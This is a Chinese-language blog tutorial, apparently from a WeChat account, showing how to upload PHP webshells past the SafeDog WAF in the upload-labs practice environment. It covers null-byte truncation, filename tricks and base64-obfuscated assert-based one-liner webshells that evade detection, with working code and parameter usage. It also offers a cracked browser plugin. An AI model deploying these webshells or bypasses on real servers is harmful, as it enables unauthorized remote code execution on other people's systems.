文件上传10种waf绕过姿势

基础篇：https://mp.weixin.qq.com/s/od0djMG4iwO755N2YgDAHg

环境搭建

首先去官网下载安全狗，进行网站配置，或者后台回复【安全狗】，靶场源码和waf软件都准备好了，都是最新版本的，直接下载就行

安全狗配置文件防护规则

这里用upload-labs中的第六关进行文件上传测试

第六关是在文件后缀添加一个空格就可以上传成功

waf环境已搭好

WAF绕过

基于文件名称的绕过

%00截断

首先上传一个php文件，抓包文件后面添加;.jpg

将;的hex编码替换为00，造成00截断，如下效果

知识扩展

%00截断是一种在文件上传或URL处理过程中常见的安全绕过技术，它利用了某些编程语言或系统在处理字符串时的一个特性：即当遇到空字符（null character，ASCII码为0，即\0或%00在URL编码中）时，会认为字符串已经结束，从而忽略了空字符之后的所有内容。

可以看到，虽然绕过了waf还是有代码红色警告没有上传成功，这个时候我们就可以在原来有代码漏洞的情况下，进行绕过，原来代码存在空格绕过，这里我们就用空格进行绕过，添加一个空格

上传成功，点击查看源码，就可以看到文件上传的位置（这个图片的位置）

多个等号

这个操作就更简单了，直接在文件名的位置把一个等于换成多个等于，也能绕过WAF，此时再在末尾加空格，直接成功上传，如下

哈哈，没有成功，原文是这样写的，可能已经修复了

基于内容拦截绕过

此时我们访问，这个php文件被拦截了，这就是基于内容的拦截，像经常使用的一句话木马都会被安全狗绕过

[1].畸形传参木马

这里要用到hackerbox谷歌插件或者使用火狐浏览器，默认下载不是破解的，我准备好了破解版本，后台私信【hackbox】即可

<?php
    $a = $_GET['x'];
    $$a = $_GET['y'];
    $b($_POST['z']);//调用 $b 变量所引用的函数，并将 $_POST['z'] 的值作为参数传递给它。
 
?>

我们所使用的一句话木马是市面上最为常见的类型，因此几乎所有的WAF（Web应用防火墙）都能识别并拦截这段内容。这正是导致我们上传后无法访问的根本原因。为了验证这一点，你可以尝试开启安全狗的木马扫描功能，看看它是否能被检测出来，从而判断其是否具备免杀能力。

上图可以看到并没有检测到，用get方式传如参数x和y，值分别为b和assert ，再用POST方式传如参数z，值为自己想执行的命令

[2].经典编码木马

通过assert函数的base64编码后的拼接即可绕过，如下：

<?php
$e=base64_decode("hellow小羽网安");
$e($_POST['aa']);
 
?>

免杀情况

我们将中文放在了后面，此时出现拦截

我放在前面试试，还是拦截

穿插进去，就可以了，不知道是什么原理，php特性、base64编码检测，还是安全狗防护机制，有大佬路过指教一下，谢谢你

执行成功

上面的绕过方式不可避免都有一些问题，那就是传参时使用了敏感关键字，比如phpinfo()之类的，有一些防火墙就会检测传入的参数是否含有敏感内容(例如宝塔)，那这时候我们怎么办呢？

我们可以把传参使用的敏感关键字变成其他编码格式，比如base64，再在一句话木马中对传入的参数先做一个解码操作，如下

在木马中添加解码操作

<?php
 
$e=base64_decode("YX小羽网安NzZ公众号XJ0");
 
$e(base64_decode($_POST['aa']));
 
?>

这个时候我们就可以将phpinfo拿去base64进行加密

这个时候就可以执行php代码了，绕过了关键字的检测

其他失败案例参考

复写

失败

脏数据绕过

失败

修改为单引号

失败

去掉双引号

失败

.php放到引号的外面

上传成功，但是并没有这个php文件

查看上传之后的文件，并不是php文件

那不加后缀试试，显示文件内容，并没有执行

所以使用蚁剑也连接不了

数据截断绕过-防匹配(; / 换行)

失败

参数多次

失败

总结

本教程通过实际搭建环境，展示了文件上传中WAF的多种绕过技巧，包括%00截断、畸形传参木马、经典编码木马等。尽管部分绕过方法因WAF更新而失效，但实验过程揭示了安全机制与绕过技术的博弈。通过不断尝试与创新，攻击者总能找到新的突破点，而防御方则需持续更新策略以应对新威胁。这强调了持续安全监测与加固的重要性。

网安学习不迷路，欢迎各位大佬加入讨论